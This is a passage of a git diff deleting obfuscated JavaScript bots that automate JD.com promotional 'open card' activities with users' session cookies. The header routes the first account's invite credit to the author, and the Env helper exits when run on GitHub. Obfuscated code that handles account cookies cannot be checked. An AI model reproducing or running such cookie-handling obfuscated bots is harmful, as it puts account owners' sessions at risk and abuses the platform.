_0x5d9e1a+_0x2c605a;},'TLTky':_0x1349('384'),'yWwgI':_0x1349('385'),'QOVmd':_0x1349('386'),'iXKId':_0x1349('387')};return{'url':_0x1349('386')+_0x46039e,'body':_0x3864b0,'headers':{'Accept':_0x2cd46b[_0x1349('472')],'Accept-Language':_0x2cd46b[_0x1349('473')],'Accept-Encoding':_0x2cd46b[_0x1349('474')],'Connection':_0x2cd46b[_0x1349('475')],'Content-Type':_0x2cd46b[_0x1349('476')],'Cookie':''+activityCookie+($[_0x1349('6b')]&&_0x2cd46b[_0x1349('477')](_0x2cd46b[_0x1349('477')](_0x2cd46b[_0x1349('478')],$[_0x1349('6b')]),';')||'')+lz_jdpin_token,'Host':_0x2cd46b[_0x1349('479')],'Origin':_0x2cd46b[_0x1349('47a')],'X-Requested-With':_0x2cd46b[_0x1349('47b')],'Referer':_0x1349('303')+$[_0x1349('36')]+_0x1349('39')+$[_0x1349('34')],'User-Agent':$['UA']}};}function getUA(){var _0x483a8b={'JEvqA':function(_0x30e7e2,_0xcde391){return _0x30e7e2(_0xcde391);}};$['UA']=_0x1349('45e')+_0x483a8b[_0x1349('47c')](randomString,0x28)+_0x1349('460');}function randomString(_0x5990df){var _0x2b723c={'qQpvD':function(_0x28ff85,_0x592b14){return _0x28ff85||_0x592b14;},'Tmqvf':_0x1349('13e'),'RtWPB':function(_0x4f295a,_0x16143a){return _0x4f295a<_0x16143a;},'qLBfN':function(_0x47999f,_0x411bc0){return _0x47999f*_0x411bc0;}};_0x5990df=_0x2b723c[_0x1349('47d')](_0x5990df,0x20);let _0x38c416=_0x2b723c[_0x1349('47e')],_0x57652d=_0x38c416[_0x1349('3b')],_0x14f8d0='';for(i=0x0;_0x2b723c[_0x1349('47f')](i,_0x5990df);i++)_0x14f8d0+=_0x38c416[_0x1349('175')](Math[_0x1349('176')](_0x2b723c[_0x1349('480')](Math[_0x1349('91')](),_0x57652d)));return _0x14f8d0;}function jsonParse(_0x5f4372){var _0x469154={'fdqJj':function(_0x23aa09,_0x4e5ce6){return _0x23aa09==_0x4e5ce6;},'FaigH':_0x1349('481'),'AwjWp':_0x1349('11a')};if(_0x469154[_0x1349('482')](typeof _0x5f4372,_0x469154[_0x1349('483')])){try{return JSON[_0x1349('116')](_0x5f4372);}catch(_0x422ab3){console[_0x1349('7')](_0x422ab3);$[_0x1349('24')]($[_0x1349('25')],'',_0x469154[_0x1349('484')]);return[];}}};_0xodq='jsjiami.com.v6'; - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard27.js b/backUp/gua_opencard27.js deleted file mode 100644 index 94501d7..0000000 --- a/backUp/gua_opencard27.js +++ /dev/null @@ -1,53 +0,0 @@ -/* -9.9~9.16 大聚惠 [gua_opencard27.js] -新增开卡脚本 (脚本已加密 -一次性脚本 - -邀请一人20豆 被邀请也有20豆(有可能没有豆 -开1组卡 抽奖可能获得30京豆(有可能有抽到空气💨 -关注10京豆 (有可能是空气💨 -加购5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku27]为"true" - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard27="true" - -All变量适用 -———————————————— -入口:[ 9.9~9.16 大聚惠 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=f7e4d75f22c84cdeba92bf594b02b910&shareUuid=c94ccc8e54c5497391e2e33824f25ae2)] - -请求太频繁会被黑ip -过10分钟再执行 - -============Quantumultx=============== -[task_local] -#9.9~9.16 大聚惠 -27 1,21 9-16 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard27.js, tag=9.9~9.16 大聚惠, enabled=true - -================Loon============== -[Script] -cron "27 1,21 9-16 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard27.js,tag=9.9~9.16 大聚惠 - -===============Surge================= -9.9~9.16 大聚惠 = type=cron,cronexp="27 1,21 9-16 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard27.js - -============小火箭========= -9.9~9.16 大聚惠 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard27.js, cronexpr="27 1,21 9-16 9 *", timeout=3600, enable=true -*/ -let guaopencard_addSku = "false" -let guaopencard = "false" - - -const $ = new Env('9.9~9.16 大聚惠'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; - -var _0xodI='jsjiami.com.v6',_0x1e35=[_0xodI,'L2Rpbmd6aGkvZHovb3BlbkNhcmQvY2hlY2tPcGVuQ2FyZA==','amNkZVo=','TW1EU1g=','TG9xVk0=','a0hGRlE=','T3hkdXU=','eWdLYlI=','TVFybXI=','aElSRXI=','T29Id0I=','SEVFWVI=','UmRhQkg=','a2FYVW4=','dlJXSVE=','S29wbmE=','T1JyRFU=','emNvcU4=','aFVmZUQ=','eEFDVmY=','RHdwem0=','VmFvVmU=','elF4R0w=','R2xOV1I=','eWJrcUc=','Wm5TTFk=','cGtISEQ=','Zk1raWU=','TERxZlY=','eHVDSlc=','ZlpZeko=','ZGRMcHg=','dVhMbUs=','V2FmRUU=','ZWxxWXI=','bXlud2Y=','R3pYVng=','ZnlwdFc=','QmVub0Q=','RXpkS2c=','UEthVHo=','b2pnVm8=','THpUbFQ=','R1VSZ2U=','bmZaV3E=','eGVYZFQ=','WmVSd3k=','YWJjZGVmMDEyMzQ1Njc4OQ==','eVVOQkE=','WnFTQmY=','TW9uZWw=','REVkdUE=','QXFqdnU=','L2Rpbmd6aGkvdGFza2FjdC9vcGVuQ2FyZGNvbW1vbi9kcmF3Q29udGVudA==','R2phTkc=','RmlRSG8=','cFZ6Qng=','ZVFpUHU=','Z0FRVVY=','Rm9KZHU=','c0ZuWW4=','b2JTaVI=','cmxOdkE=','d0xncmY=','THhFWUE=','b3pUVnY=','R3Npemk=','RmZMeFQ=','UlppU3A=','Y1NzY1I=','ZXFDZ1o=','eU5za0k=','dFp6bHI=','WFdITm4=','WXZwQWY=','UHh2WWI=','d093V2w=','Y2hhckF0','emVpQXo=','a3RHS00=','cUNFWXc=','WU5oaW4=','aE9iSlQ=','eUVhdFU=','Z0llZUk=','L2Rpbmd6aGkvZHovb3BlbkNhcmQvYWN0aXZpdHlDb250ZW50','Uml5TkQ=','JnBpbkltZz0=','TVNNclQ=','Jm5pY2s9','JmNqeXhQaW49JmNqaHlQaW49JnNoYXJlVXVpZD0=','cFFmd3Y=','WXpjTlY=','bWRtYVk=','YVdOUHI=','V21BQmg=','SmN5aFc=','QkR4Um0=','VHNodHY=','a0l4REo=','dk1DUkE=','dVhXYWE=','V2FFYkc=','aGxZTVA=','QUJ0YlQ=','YWN0aXZpdHlDb250ZW50IA==','YVRVc1M=','YWJvVlk=','eU5RUEQ=','aWN5ZXo=','Qk5XenE=','RlVXckc=','L3d4QWN0aW9uQ29tbW9uL2dldFVzZXJJbmZv','a0xTQ08=','dG1vQ1g=','QVJuRWw=','SnlUZlo=','T0FSZUQ=','cGluPQ==','cGlpdFk=','cE9ySVg=','c1hkSk8=','cFdPVko=','a1JwWGc=','IGdldFVzZXJJbmZvIEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','cFdzS3A=','cEdkcWE=','Qmh5VEI=','VXN1Z1I=','ZkRtcEo=','b0JFeHg=','TnBtaFo=','eW9HUFI=','TW1VV3g=','RGt2R1c=','cUZ0UVc=','ZHdrYnI=','TVVaeGc=','bmdUQ04=','c3RyaW5n','6K+35Yu/6ZqP5oSP5ZyoQm94SnPovpPlhaXmoYbkv67mlLnlhoXlrrkK5bu66K6u6YCa6L+H6ISa5pys5Y676I635Y+WY29va2ll','aGVhZGVycw==','c2V0LWNvb2tpZQ==','U2V0LUNvb2tpZQ==','U0FyWGs=','b1NzUWY=','UEZsaVg=','ZWxlZ1E=','VFN5Q3Q=','UG1aVmI=','RVlzaXA=','L2NvbW1vbi9hY2Nlc3NMb2dXaXRoQUQ=','RldkR3g=','a29wa1o=','RmJkZ24=','ZFJ2R24=','b1pYWVE=','Q1NBckw=','bEdJR2o=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL2R6L29wZW5DYXJkL2FjdGl2aXR5P2FjdGl2aXR5SWQ9','dmVuZGVySWQ9','JmNvZGU9OTkmcGluPQ==','eExVTlc=','JmFjdGl2aXR5SWQ9','JnBhZ2VVcmw9','JnN1YlR5cGU9QVBQJmFkU291cmNlPW51bGw=','R09QdHA=','T0xVVnI=','U2NVS1g=','SEN3U1g=','bVpwQlI=','V0V4ZHM=','SlRSdUg=','RUtFZm4=','eU91Qlo=','bm5oQUI=','UnRuV08=','cXhKREM=','bHlkZk4=','TkpUQUM=','anRvRVA=','SHJBTGU=','T0VXS24=','cE9SVHM=','aGNCSkU=','T2NvZlA=','SXR3Qk8=','bWVCTWM=','SVpnT3Y=','S3RWbnA=','QVNRQWo=','dkdNRU4=','Z1p2dmI=','ZGFPcFM=','T2lacFY=','TE50S2o=','bWtBb3E=','RkF2Z2o=','SnRyVWQ=','eEdwZEs=','VW9HT1Q=','bmVtSWg=','VkllY3I=','aExaTVQ=','QXRXYnA=','QlJsVks=','V053dUo=','SmZreW0=','WmduZnA=','SHh0WlQ=','UFhKb1g=','cGxiS1U=','L2N1c3RvbWVyL2dldE15UGluZw==','Rm1CWnA=','UGN3aEU=','aUt1ZWc=','YlpNc3U=','cHRueVI=','cVJ3TVo=','QnlOcUs=','b2xpV2c=','aVZjZGs=','YVNsd2Q=','aWVYYmk=','TmpJSFI=','WGRFRHM=','eFRMbGM=','eHNWbmE=','cEROeUQ=','Q2pRdVA=','YkdqcE0=','VVNPb3E=','WGJqRko=','dmR5ckw=','dFlKQ1Q=','and4T3Q=','TmVpbmM=','SHVWUm4=','VVdHenI=','Sk11Y3A=','cFNyaU0=','dUNxR0k=','UVp1UWQ=','YUNxS1Y=','Wldabks=','UkhXd2o=','Zm1GWmE=','ZndHa28=','dEFCYmg=','bUlhTHI=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUA==','aVB6dGk=','Y3VVY1g=','YlFSZG4=','aXZEUHQ=','eVN0SUI=','TEZtbkI=','YnhTZWo=','YnlJWkI=','cXhrTkY=','Q09OYWk=','WXhvRHM=','eExLaEw=','IGdldE15UGluZyBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','eEtRRHE=','dVlDWEY=','ZmliR0s=','SEZXS2Y=','YmtKd3o=','aXRWY28=','WHFWdVQ=','V010ZVQ=','eUxxa0o=','eW1hek0=','eE1adkM=','QVFFaHM=','QWZmdko=','Z1NhcXk=','ZUhNWEM=','ZkhBdm8=','S1ZocmE=','elpyYk0=','b252UFA=','RXV6S2Q=','b3RXdkE=','bG5BZE8=','YmlYQVM=','Y0l1cnQ=','dFBmalo=','enh1Vkw=','bUVZZ0E=','c2VjcmV0UGlu','RWtER2E=','R3FzZVE=','bEZPVFo=','Z2V0TXlQaW5nIA==','YlRKdXU=','d3RsbVY=','aWhqQVQ=','V1NwdXM=','U2tieFM=','SU9hZEQ=','WER6eFQ=','V0FpTkQ=','cmRxQWU=','RnJSRFI=','WFpST0I=','bGdJTEw=','c0FIRXM=','L2R6L2NvbW1vbi9nZXRTaW1wbGVBY3RJbmZvVm8=','bmNseng=','bEx0THI=','Z0NXc24=','WEZLTUc=','S2RxeUQ=','SnVTSWU=','bHJzQ04=','eGxIT1I=','ZVR6YUE=','TkZkV3g=','bE1Gckc=','dGhudkM=','SERsaUk=','cXFVdWc=','bHVzRnc=','UXhRc3c=','Y1pnV3U=','UHdMV0g=','TmduYnc=','REhhZ2I=','WFRLd04=','T1BLaEw=','S1lvclQ=','WnNCYVM=','YkVKZ1A=','c3BleVQ=','dUpObFI=','VnlzbUc=','b2hYZW4=','dlFqR2E=','c3RyaW5naWZ5','IGdldFNpbXBsZUFjdEluZm9WbyBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','Z252RkM=','SmZrY1g=','Y2h5dHI=','YWpIdUw=','QmZqWGQ=','ckFJQkc=','RVJ0VGI=','T05oanU=','Z2V0U2ltcGxlQWN0SW5mb1ZvIA==','UVRjaFY=','R3Z3aGQ=','elZZcnU=','dE1Nb0o=','YVdkUEM=','Y1dQSXE=','U1FOcHQ=','blZ3b3E=','YXJlYT0xNl8xMzE1XzEzMTZfNTM1MjImYm9keT0lN0IlMjJ1cmwlMjIlM0ElMjJodHRwcyUzQSU1Qy8lNUMvbHpkejEtaXN2LmlzdmpjbG91ZC5jb20lMjIlMkMlMjJpZCUyMiUzQSUyMiUyMiU3RCZidWlsZD0xNjc4MDImY2xpZW50PWFwcGxlJmNsaWVudFZlcnNpb249MTAuMS4yJmRfYnJhbmQ9YXBwbGUmZF9tb2RlbD1pUGhvbmU3JTJDMiZlaWQ9ZWlkSTEzMjU4MTIyZGJzM3N6akVRa0lWUnVpY09EcS9ETlNzQkxNNHhiZUk3TE5yTmY4enZDdHU5NDh2blFIU2VCYWVNbXR1SE52Qm1hNUYxVm9xWGZGTUxxRXRBc3pvRkpYZUM2MzJ3bWltWk8ySGRMazMmaXNCYWNrZ3JvdW5kPU4mam95Y2lvdXM9NjEmbGFuZz16aF9DTiZuZXR3b3JrVHlwZT13aWZpJm5ldHdvcmtsaWJ0eXBlPUpETmV0d29ya0Jhc2VBRiZvcGVudWRpZD0xZWI5MDZhMzI5NDA3NTJiNTA5Nzk1OWI4N2JmNzc5MGNmNzJkZDA1Jm9zVmVyc2lvbj0xMi40JnBhcnRuZXI9YXBwbGUmcmZzPTAwMDAmc2NvcGU9MDEmc2NyZWVuPTc1MCUyQTEzMzQmc2lnbj0yNzhjNzUxOWFhNGY0ZDljNWViYmI0MTJhOTI1NWIyNyZzdD0xNjMxMTYzMjM1NDEyJnN2PTEyMiZ1ZW1wcz0wLTAmdXRzPTBmMzFUVlJqQlNzcW5kdTQvamdVUHo2dXlteTUwTVFKN2NLQzBGRWp2Q1U3WGxiSlI3alFNNlp1S0FFTkM5NkhyJTJCSVBaaXdmR0ZvV0RlWXdUMDclMkJEV1lmUEV2czBXelJoT0dpL3E3akVpSUkvY1dUL0xXM3BVbUZOOC81WUxNVktSQm1BdEJJNmhXNzZaWjFGdGFoZUxqT0x3ZFh6JTJCcTlmZ1JNM3FVcDVDb2xmUiUyQi92Rkg4TzFXY0NiYmVrNU4lMkI1MDVOb1c2UUVCQ2xWR3Y4N2haZWZ3JTNEJTNEJnV1aWQ9aGp1ZHdnb2h4elZ1OTZrcnYvVDZIZyUzRCUzRCZ3aWZpQnNzaWQ9Nzk2NjA2ZThlMTgxYWE1ODY1ZWMyMDcyOGEyNzIzOGI=','emRrYWU=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','S1pVb1Y=','d053aFI=','a3F3UUo=','SkQ0aVBob25lLzE2NzgwMiAoaVBob25lOyBpT1MgMTIuNDsgU2NhbGUvMi4wMCk=','IGlzdk9iZnVzY2F0b3IgQVBJ6K+35rGC5aSx6LSl77yM6K+35qOA5p+l572R6Lev6YeN6K+V','aXRhc0g=','cUJ3eUo=','bldsQ2Y=','WUpQeEY=','emdPbkU=','VXhiWVE=','Z3BXdWU=','SkxtbVU=','eGlRcWg=','SUhvVUM=','VXBXZmc=','SmtFU1A=','cFBqUHk=','QkJBeGo=','UmVXZGc=','R0l4Tno=','eURTSUY=','ZW5reFY=','aHFJY3Q=','aXNFZ2Q=','dE1PcHc=','aVhraWM=','cU56TGQ=','cFp4UFo=','S0tpb0s=','U0VJZm0=','dUFqQmE=','RWZuYXQ=','S3JvcWo=','VnpzR2g=','WVlUVlQ=','alNMTmg=','eFdXd1Q=','Qlh1YUQ=','Z1ROY1I=','cklNaFA=','TnJJTUc=','dG9STFo=','VUVLQkI=','T3N1Q2E=','bGFBcks=','Y09yUEk=','b0VBUVM=','Z0l5b3E=','THVza1E=','VHdKQU8=','d3d4TFU=','andhc1o=','Wm5ZTnI=','T1Vxakw=','Q1BUTWY=','aVlGSm0=','ZVlUcEk=','IGNvb2tpZSBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','RmtOQ1U=','YXhZRGM=','VGlUdlQ=','bVZoQmI=','S05iZHQ=','eEN0aWU=','T0JGb0w=','S2hFbEM=','ZXBJanE=','dmZoVXc=','RUdHRHo=','cXJHcko=','eUpEUVQ=','aUl3aGY=','dUVKREc=','ZWF1TVc=','THJObks=','dEpzRnA=','SHNVT2k=','YXBwbGljYXRpb24vanNvbg==','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','a2VlcC1hbGl2ZQ==','QVVUSF9DX1VTRVI9','bHpkejEtaXN2LmlzdmpjbG91ZC5jb20=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','WE1MSHR0cFJlcXVlc3Q=','S2hEeXU=','aVVaTmw=','RHpXRUE=','aU9nT1I=','bEZnWEU=','VW9QeXU=','bUR1TWo=','Z3VVTnY=','TWt4bkY=','eHVBSWs=','c25sc2w=','amRhcHA7aVBob25lOzEwLjEuMjsxNC4zOw==','aGp0Vm0=','O25ldHdvcmsvd2lmaTttb2RlbC9pUGhvbmUxMiwxO2FkZHJlc3NpZC80MTk5MTc1MTkzO2FwcEJ1aWxkLzE2NzgwMjtqZFN1cHBvcnREYXJrTW9kZS8wO01vemlsbGEvNS4wIChpUGhvbmU7IENQVSBpUGhvbmUgT1MgMTRfMyBsaWtlIE1hYyBPUyBYKSBBcHBsZVdlYktpdC82MDUuMS4xNSAoS0hUTUwsIGxpa2UgR2Vja28pIE1vYmlsZS8xNUUxNDg7c3VwcG9ydEpEU0hXSy8x','RFhsWHI=','eUlCSk0=','a0dHZm0=','QnJDb0M=','dXZnQ3Q=','RXhISW8=','S25RTnA=','WEJ5eHk=','WHFEUUM=','ckJ4eHQ=','T0dncEc=','SnB6ZlE=','WEdlSno=','SmNnVFA=','ZnJQVUs=','UXpTeU8=','UGd5VkI=','VklnQ1o=','aXNOb2Rl','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','Z2V0ZGF0YQ==','Q29va2llSkQ=','Q29va2llSkQy','Q29va2llc0pE','bWFw','Y29va2ll','ZmlsdGVy','Z3Vhb3BlbmNhcmRfYWRkU2t1Mjc=','Z3Vhb3BlbmNhcmRfYWRkU2t1X0FsbA==','Z3Vhb3BlbmNhcmQyNw==','Z3Vhb3BlbmNhcmRfQWxs','b3V0RmxhZw==','6LSm5Y+3MeiOt+WPluS4jeWIsFtzaGFyZVV1aWRd6YCA5Ye65omn6KGM77yM6K+36YeN5paw5omn6KGM','eExkcXU=','44CQ5o+Q56S644CR6K+35YWI6I635Y+WY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tLw==','dHJ1ZQ==','eUlhdEw=','5aaC6ZyA5omn6KGM6ISa5pys6K+36K6+572u546v5aKD5Y+Y6YePW2d1YW9wZW5jYXJkMjdd5Li6InRydWUi','Yzk0Y2NjOGU1NGM1NDk3MzkxZTJlMzM4MjRmMjVhZTI=','ZjdlNGQ3NWYyMmM4NGNkZWJhOTJiZjU5NGIwMmI5MTA=','5q2kaXDlt7LooqvpmZDliLbvvIzor7fov4cxMOWIhumSn+WQjuWGjeaJp+ihjOiEmuacrA==','WHp1Rmc=','VVNjWVE=','bXNn','bmFtZQ==','SWFZTGw=','bGVrblY=','Q1Nibms=','S1hRYnY=','Z2tudEY=','R1NhSmE=','Sm5PbVk=','aUhpTlY=','T05HaWU=','c2hhcmVVdWlk','U3ZQV28=','YWN0aXZpdHlJZA==','eHdnbEY=','5YWl5Y+jOgpodHRwczovL2x6ZHoxLWlzdi5pc3ZqY2xvdWQuY29tL2Rpbmd6aGkvZHovb3BlbkNhcmQvYWN0aXZpdHk/YWN0aXZpdHlJZD0=','JnNoYXJlVXVpZD0=','b0Z6eG0=','bGVuZ3Ro','VXNlck5hbWU=','dGRMalQ=','bWF0Y2g=','aW5kZXg=','UlVDcEI=','CgoqKioqKirlvIDlp4vjgJDkuqzkuJzotKblj7c=','KioqKioqKioqCg==','VVRkR1c=','YWN0b3JVdWlk','SU12aVA=','c2VuZE5vdGlmeQ==','Y2F0Y2g=','bG9nRXJy','ZmluYWxseQ==','ZG9uZQ==','TFpfVE9LRU5fS0VZPQ==','TFpfVE9LRU5fVkFMVUU9','b2JqZWN0','dW5kZWZpbmVk','aHR0cHM6Ly9pbWcxMC4zNjBidXlpbWcuY29tL2ltZ3pvbmUvamZzL3QxLzcwMjAvMjcvMTM1MTEvNjE0Mi81YzUxMzhkOEU0ZGYyZTc2NC81YTEyMTZhM2E1MDQzYzVkLnBuZw==','bHpfamRwaW5fdG9rZW49','56m65rCU8J+SqA==','dGZ2VVQ=','dmVCRlI=','5q2kaXDlt7LooqvpmZDliLbvvIzor7fov4cxMOWIhumSn+WQjuWGjeaJp+ihjOiEmuacrAo=','6I635Y+WW3Rva2V